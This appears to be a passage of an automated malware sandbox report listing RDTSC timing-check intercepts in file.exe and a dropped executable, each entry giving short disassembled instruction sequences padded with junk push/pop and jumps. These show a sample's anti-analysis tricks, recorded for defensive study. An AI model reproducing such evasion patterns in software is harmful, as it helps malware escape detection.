Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537063C second address: 5370673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F256CC76B71h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub edx, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F256CC76B79h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370673 second address: 5370691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370691 second address: 53706E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5518DEE6h 0x00000008 mov ecx, edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d dec edi 0x0000000e pushad 0x0000000f mov ecx, ebx 0x00000011 pushfd 0x00000012 jmp 00007F256CC76B6Bh 0x00000017 or eax, 6E17F96Eh 0x0000001d jmp 00007F256CC76B79h 0x00000022 popfd 0x00000023 popad 0x00000024 lea ebx, dword ptr [edi+01h] 0x00000027 jmp 00007F256CC76B6Eh 0x0000002c mov al, byte ptr [edi+01h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53706E9 second address: 53706EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53706EF second address: 537076A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F256CC76B6Eh 0x00000011 and ax, 5A78h 0x00000016 jmp 00007F256CC76B6Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F256CC76B78h 0x00000022 sbb cx, 74D8h 0x00000027 jmp 00007F256CC76B6Bh 0x0000002c popfd 0x0000002d popad 0x0000002e test al, al 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F256CC76B70h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537076A second address: 5370770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370770 second address: 5370804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F25DDB2EE63h 0x0000000f jmp 00007F256CC76B70h 0x00000014 mov ecx, edx 0x00000016 pushad 0x00000017 movzx ecx, bx 0x0000001a pushfd 0x0000001b jmp 00007F256CC76B73h 0x00000020 xor al, 0000005Eh 0x00000023 jmp 00007F256CC76B79h 0x00000028 popfd 0x00000029 popad 0x0000002a shr ecx, 02h 0x0000002d pushad 0x0000002e mov dl, ah 0x00000030 mov al, bl 0x00000032 popad 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 rep movsd 0x0000003b rep movsd 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F256CC76B6Dh 0x00000046 sub al, 00000046h 0x00000049 jmp 00007F256CC76B71h 0x0000004e popfd 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370804 second address: 5370850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F256CF66DDBh 0x00000014 sub ch, 0000002Eh 0x00000017 jmp 00007F256CF66DE9h 0x0000001c popfd 0x0000001d push eax 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370850 second address: 53708B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 1C8Eh 0x00000007 mov si, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and ecx, 03h 0x00000010 pushad 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F256CC76B6Dh 0x00000018 add esi, 04393E16h 0x0000001e jmp 00007F256CC76B71h 0x00000023 popfd 0x00000024 jmp 00007F256CC76B70h 0x00000029 popad 0x0000002a mov bh, ah 0x0000002c popad 0x0000002d rep movsb 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F256CC76B78h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708B8 second address: 53708EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 jmp 00007F256CF66DDDh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov eax, edx 0x0000001a call 00007F256CF66DDFh 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370B50 second address: 5370BC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F256CC76B74h 0x00000011 sbb si, 6688h 0x00000016 jmp 00007F256CC76B6Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F256CC76B78h 0x00000022 jmp 00007F256CC76B75h 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F256CC76B6Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370BC8 second address: 5370BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370BE4 second address: 5370BF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370BF7 second address: 5370BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370BFD second address: 5370C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA15C3 second address: BA15C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA15C9 second address: BA15D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F256CC76B66h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA08EB second address: BA08FF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007F256CF66DD6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA0B8C second address: BA0B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA34F5 second address: BA34FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA34FA second address: BA352B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add edi, dword ptr [ebp+122D3BB8h] 0x00000012 sbb esi, 32A7B077h 0x00000018 push 00000000h 0x0000001a mov dh, A4h 0x0000001c push 0A7E3433h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F256CC76B6Eh 0x00000028 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA352B second address: BA35FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0A7E34B3h 0x00000010 jno 00007F256CF66DD6h 0x00000016 push 00000003h 0x00000018 xor edx, 3CCD3C97h 0x0000001e push 00000000h 0x00000020 call 00007F256CF66DE4h 0x00000025 and ecx, 10108F17h 0x0000002b pop esi 0x0000002c call 00007F256CF66DDBh 0x00000031 mov si, B7A8h 0x00000035 pop ecx 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F256CF66DD8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 push BCA30885h 0x00000057 jp 00007F256CF66DEBh 0x0000005d add dword ptr [esp], 035CF77Bh 0x00000064 mov ecx, dword ptr [ebp+122D3CC0h] 0x0000006a movzx edi, dx 0x0000006d lea ebx, dword ptr [ebp+124583E6h] 0x00000073 call 00007F256CF66DE2h 0x00000078 pop ecx 0x00000079 xchg eax, ebx 0x0000007a jc 00007F256CF66DE0h 0x00000080 push eax 0x00000081 push edx 0x00000082 push edx 0x00000083 pop edx 0x00000084 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA35FB second address: BA360F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F256CC76B6Bh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BA377C second address: BA3813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F256CF66DDFh 0x00000012 pop eax 0x00000013 lea ebx, dword ptr [ebp+124583EFh] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F256CF66DD8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov edx, dword ptr [ebp+122D3B54h] 0x00000039 ja 00007F256CF66DDBh 0x0000003f xchg eax, ebx 0x00000040 pushad 0x00000041 js 00007F256CF66DDCh 0x00000047 js 00007F256CF66DD6h 0x0000004d pushad 0x0000004e jmp 00007F256CF66DE4h 0x00000053 jmp 00007F256CF66DE0h 0x00000058 popad 0x00000059 popad 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d push edi 0x0000005e pop edi 0x0000005f push edi 0x00000060 pop edi 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B9B385 second address: B9B393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 jnl 00007F256CC76B66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC27C5 second address: BC27D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F256CF66DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC27D7 second address: BC27DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC27DB second address: BC27E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2B84 second address: BC2B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2B8D second address: BC2B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2B93 second address: BC2B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2D09 second address: BC2D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2E6D second address: BC2E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F256CC76B71h 0x0000000e jo 00007F256CC76B66h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2FCA second address: BC2FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDFh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC2FDE second address: BC2FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B74h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC3504 second address: BC3530 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F256CF66DEFh 0x00000008 jmp 00007F256CF66DE9h 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jbe 00007F256CF66DD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BB7118 second address: BB714E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B6Eh 0x00000009 jc 00007F256CC76B66h 0x0000000f jnp 00007F256CC76B66h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F256CC76B75h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BB714E second address: BB7152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8F3E2 second address: B8F3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8F3EA second address: B8F404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F256CF66DDCh 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8F404 second address: B8F40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40B8 second address: BC40C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40C2 second address: BC40CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40CA second address: BC40E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F256CF66DD6h 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40E0 second address: BC40EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F256CC76B66h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40EA second address: BC40EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC40EE second address: BC40F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: B8F3F9 second address: B8F404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC996F second address: BC997B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BC997B second address: BC997F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCAD2A second address: BCAD2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE47D second address: BCE481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE481 second address: BCE48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE48D second address: BCE49D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jl 00007F256CF66DE2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE49D second address: BCE4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE753 second address: BCE757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE883 second address: BCE8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F256CC76B66h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 je 00007F256CC76B66h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a jp 00007F256CC76B66h 0x00000020 popad 0x00000021 jl 00007F256CC76B6Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCE8AC second address: BCE8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCEB7D second address: BCEBAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B74h 0x00000007 jp 00007F256CC76B66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F256CC76B71h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCEBAE second address: BCEBBA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCEBBA second address: BCEBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCEE92 second address: BCEEA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F256CF66DDFh 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BCEEA9 second address: BCEED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Ah 0x00000007 jns 00007F256CC76B66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F256CC76B6Bh 0x00000016 jbe 00007F256CC76B6Ah 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD281E second address: BD2823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD295D second address: BD297E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD2B12 second address: BD2B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD2C0F second address: BD2C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD3291 second address: BD3296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD3363 second address: BD3367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD3367 second address: BD336C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD336C second address: BD3388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F256CC76B66h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F256CC76B6Ch 0x00000016 jp 00007F256CC76B66h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD3413 second address: BD3418 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD3418 second address: BD341E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	RDTSC instruction interceptor: First address: BD6D1F second address: BD6D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
